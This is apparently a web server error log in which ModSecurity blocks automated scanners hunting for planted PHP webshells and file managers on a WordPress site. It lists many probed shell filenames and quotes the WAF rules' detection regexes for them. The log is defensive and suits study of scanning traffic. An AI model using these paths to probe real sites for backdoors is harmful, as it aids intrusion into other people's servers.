[Thu Apr 23 07:20:58.286803 2026] [:error] [pid 42971:tid 42996] [client 89.251.0.124:44843] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aelX2jEP2_5RswrH8bGa2AAAAAo"]
[Thu Apr 23 07:20:59.303634 2026] [:error] [pid 42972:tid 43024] [client 89.251.0.141:48475] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aelX28OAb-3sOknsk4cSkwAAAEg"]
[Thu Apr 23 07:20:59.929465 2026] [:error] [pid 43083:tid 43106] [client 89.251.0.141:46235] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Thu Apr 23 07:21:00.258626 2026] [:error] [pid 43083:tid 43108] [client 89.251.0.141:46235] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aelX3DC5hrvNXosL83K7UwAAANc"]
[Thu Apr 23 07:21:01.336455 2026] [:error] [pid 43083:tid 43101] [client 89.251.0.124:61433] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Thu Apr 23 07:21:02.504429 2026] [:error] [pid 43083:tid 43109] [client 89.251.0.124:61433] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Thu Apr 23 07:21:03.448815 2026] [:error] [pid 43083:tid 43085] [client 89.251.0.124:61433] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aelX3zC5hrvNXosL83K7gwAAAMA"]
[Thu Apr 23 07:21:04.148882 2026] [:error] [pid 64967:tid 64974] [client 89.251.0.125:63275] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Thu Apr 23 07:21:04.455769 2026] [:error] [pid 64967:tid 64980] [client 89.251.0.125:63275] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aelX4IAV4GfOOdX8QzoEwAAAAYs"]
[Thu Apr 23 07:21:05.118686 2026] [:error] [pid 64967:tid 64975] [client 89.251.0.133:35791] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Thu Apr 23 07:21:05.759722 2026] [:error] [pid 64967:tid 64979] [client 89.251.0.133:35791] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aelX4YAV4GfOOdX8QzoEyQAAAYo"]
[Thu Apr 23 07:21:06.683481 2026] [:error] [pid 43083:tid 43100] [client 89.251.0.125:45051] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aelX4jC5hrvNXosL83K7mwAAAM8"]
[Thu Apr 23 07:21:07.740186 2026] [:error] [pid 25635:tid 25645] [client 89.251.0.148:52555] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Thu Apr 23 07:21:08.590641 2026] [:error] [pid 25635:tid 25659] [client 89.251.0.148:52555] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Thu Apr 23 07:21:09.709560 2026] [:error] [pid 25635:tid 25648] [client 89.251.0.148:52555] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aelX5cRxv6UsgRGKB3LWDAAAAQk"]
[Thu Apr 23 07:21:10.763077 2026] [:error] [pid 64967:tid 64990] [client 89.251.0.121:32549] [client 89.251.0.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aelX5oAV4GfOOdX8QzoE5gAAAZU"]
[Thu Apr 23 07:21:11.717785 2026] [:error] [pid 64967:tid 64989] [client 89.251.0.116:41375] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aelX54AV4GfOOdX8QzoE7wAAAZQ"]
[Thu Apr 23 07:21:12.440520 2026] [:error] [pid 43083:tid 43099] [client 89.251.0.124:36765] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aelX6DC5hrvNXosL83K73gAAAM4"]
[Thu Apr 23 07:21:13.092964 2026] [:error] [pid 65000:tid 65044] [client 89.251.0.125:51091] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aelX6b6vRb9j6psK2ZZ9FgAAAgs"]
[Thu Apr 23 07:21:15.492320 2026] [:error] [pid 64967:tid 64980] [client 89.251.0.147:30011] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu Apr 23 07:21:15.838920 2026] [:error] [pid 64967:tid 64979] [client 89.251.0.147:30011] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aelX64AV4GfOOdX8QzoFEwAAAYo"]
[Thu Apr 23 07:21:18.482038 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.120:41779] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aelX7r6vRb9j6psK2ZZ9igAAAgU"]
[Thu Apr 23 07:22:07.389442 2026] [autoindex:error] [pid 43083:tid 43107] [client 89.251.0.143:45143] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 07:22:20.651617 2026] [:error] [pid 64967:tid 64970] [client 89.251.0.127:43757] [client 89.251.0.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img/"] [unique_id "aelYLIAV4GfOOdX8QzoHuQAAAYE"]
[Thu Apr 23 07:23:15.829139 2026] [:error] [pid 43083:tid 43086] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 23 07:23:16.160329 2026] [:error] [pid 43083:tid 43105] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 23 07:23:16.487616 2026] [:error] [pid 43083:tid 43093] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 23 07:23:16.845102 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 23 07:23:17.145549 2026] [:error] [pid 43083:tid 43095] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 23 07:23:17.458264 2026] [:error] [pid 43083:tid 43103] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 23 07:23:17.760086 2026] [:error] [pid 43083:tid 43096] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 23 07:23:18.069606 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 23 07:23:18.695519 2026] [:error] [pid 43083:tid 43103] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 23 07:23:19.035659 2026] [:error] [pid 43083:tid 43098] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 23 07:23:19.367627 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 23 07:23:19.755409 2026] [:error] [pid 43083:tid 43086] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 23 07:23:20.111821 2026] [:error] [pid 43083:tid 43099] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 23 07:23:20.884159 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 23 07:23:21.222132 2026] [:error] [pid 43083:tid 43109] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 23 07:23:21.548279 2026] [:error] [pid 43083:tid 43091] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 23 07:23:21.864529 2026] [:error] [pid 43083:tid 43103] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 23 07:23:22.569658 2026] [:error] [pid 43083:tid 43102] [client 89.251.0.114:35461] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Thu Apr 23 07:24:21.471393 2026] [:error] [pid 25635:tid 25647] [client 89.251.0.116:50341] [client 89.251.0.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/cache/"] [unique_id "aelYpcRxv6UsgRGKB3LdPAAAAQg"]
[Thu Apr 23 07:24:27.233184 2026] [autoindex:error] [pid 64967:tid 64978] [client 89.251.0.129:38251] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 07:25:00.307075 2026] [:error] [pid 64967:tid 64992] [client 89.251.0.131:39263] [client 89.251.0.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/Avada/licensing/"] [unique_id "aelYzIAV4GfOOdX8QzoOFgAAAZc"]
[Thu Apr 23 07:25:02.507683 2026] [:error] [pid 42973:tid 43066] [client 89.251.0.147:48739] [client 89.251.0.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/themes/twentyseventeen/page/"] [unique_id "aelYzm6I0QqmmmLTHE3XUQAAAJc"]
[Thu Apr 23 07:25:16.908076 2026] [:error] [pid 42971:tid 43003] [client 89.251.0.121:49207] [client 89.251.0.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/network/cache/"] [unique_id "aelY3DEP2_5RswrH8bGjvAAAABE"]
[Thu Apr 23 07:25:23.799518 2026] [:error] [pid 65000:tid 65049] [client 89.251.0.145:37845] [client 89.251.0.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/site-title/"] [unique_id "aelY476vRb9j6psK2ZaTqQAAAhA"]
[Thu Apr 23 09:55:40.204047 2026] [:error] [pid 42971:tid 42999] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 23 09:55:40.507052 2026] [:error] [pid 42971:tid 43008] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 23 09:55:40.778125 2026] [:error] [pid 42971:tid 42998] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 23 09:55:41.091385 2026] [:error] [pid 42971:tid 42989] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 23 09:55:41.363880 2026] [:error] [pid 42971:tid 42987] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 23 09:55:41.673977 2026] [:error] [pid 42971:tid 43007] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 23 09:55:41.950193 2026] [:error] [pid 42971:tid 43002] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 23 09:55:42.237606 2026] [:error] [pid 42971:tid 43010] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 23 09:55:42.797219 2026] [:error] [pid 42971:tid 42986] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 23 09:55:43.089144 2026] [:error] [pid 42971:tid 43003] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 23 09:55:43.360098 2026] [:error] [pid 42971:tid 42996] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 23 09:55:43.637913 2026] [:error] [pid 42971:tid 43010] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 23 09:55:43.907807 2026] [:error] [pid 42971:tid 42989] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 23 09:55:44.217064 2026] [:error] [pid 42971:tid 42996] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 23 09:55:44.506634 2026] [:error] [pid 42971:tid 42999] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 23 09:55:44.778749 2026] [:error] [pid 42971:tid 43000] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 23 09:55:45.058496 2026] [:error] [pid 42971:tid 43001] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 23 09:55:45.360274 2026] [:error] [pid 42971:tid 43002] [client 185.192.71.38:40873] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Thu Apr 23 09:55:49.392759 2026] [:error] [pid 42971:tid 43003] [client 185.192.71.38:40873] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ael8JTEP2_5RswrH8bHbowAAABE"]
[Thu Apr 23 09:55:50.811515 2026] [:error] [pid 42973:tid 43054] [client 185.192.71.35:34149] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ael8Jm6I0QqmmmLTHE3yfQAAAIs"]
[Thu Apr 23 09:55:52.269951 2026] [:error] [pid 25635:tid 25648] [client 91.230.225.201:26523] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 23 09:55:53.126156 2026] [:error] [pid 25635:tid 25643] [client 91.230.225.201:26523] [client 91.230.225.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ael8KcRxv6UsgRGKB3L7VwAAAQQ"]
[Thu Apr 23 09:55:54.269032 2026] [:error] [pid 64967:tid 64976] [client 185.192.71.39:42587] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 23 09:55:54.548289 2026] [:error] [pid 64967:tid 64971] [client 185.192.71.39:42587] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "ael8KoAV4GfOOdX8Qzox6gAAAYI"]
[Thu Apr 23 09:55:55.378594 2026] [:error] [pid 25635:tid 25646] [client 185.192.71.23:20573] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu Apr 23 09:55:56.822942 2026] [:error] [pid 25635:tid 25660] [client 185.192.71.23:20573] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ael8LMRxv6UsgRGKB3L7dwAAARU"]
[Thu Apr 23 09:55:58.836163 2026] [:error] [pid 64998:tid 65005] [client 185.192.71.28:43645] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ael8LoV5EysYcTLjmwh8hgAAAcM"]
[Thu Apr 23 09:55:59.388009 2026] [:error] [pid 43083:tid 43095] [client 91.230.225.15:30975] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ael8LzC5hrvNXosL83IYRgAAAMo"]
[Thu Apr 23 09:56:00.974485 2026] [:error] [pid 42971:tid 43006] [client 185.192.71.40:33867] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ael8MDEP2_5RswrH8bHcIwAAABQ"]
[Thu Apr 23 09:56:01.513334 2026] [:error] [pid 42971:tid 42993] [client 185.192.71.39:44107] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ael8MTEP2_5RswrH8bHcMQAAAAc"]
[Thu Apr 23 09:56:02.072085 2026] [:error] [pid 42973:tid 43047] [client 185.192.71.30:40365] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ael8Mm6I0QqmmmLTHE3zCAAAAIQ"]
[Thu Apr 23 09:56:02.922666 2026] [:error] [pid 65000:tid 65049] [client 185.192.71.36:51479] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ael8Mr6vRb9j6psK2ZYAzwAAAhA"]
[Thu Apr 23 09:56:03.486543 2026] [:error] [pid 42972:tid 43026] [client 91.230.225.195:36551] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Thu Apr 23 09:56:04.069767 2026] [:error] [pid 42972:tid 43026] [client 91.230.225.195:36551] [client 91.230.225.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "ael8NMOAb-3sOknsk4dFngAAAEo"]
[Thu Apr 23 09:56:05.232606 2026] [:error] [pid 59700:tid 59709] [client 91.230.225.207:50089] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ael8NZXyGZJFeAIDWtmVpwAAAUc"]
[Thu Apr 23 09:56:06.050935 2026] [:error] [pid 42972:tid 43016] [client 185.192.71.36:54863] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ael8NsOAb-3sOknsk4dFzwAAAEA"]
[Thu Apr 23 09:56:06.614245 2026] [:error] [pid 25635:tid 25647] [client 91.230.225.23:30867] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
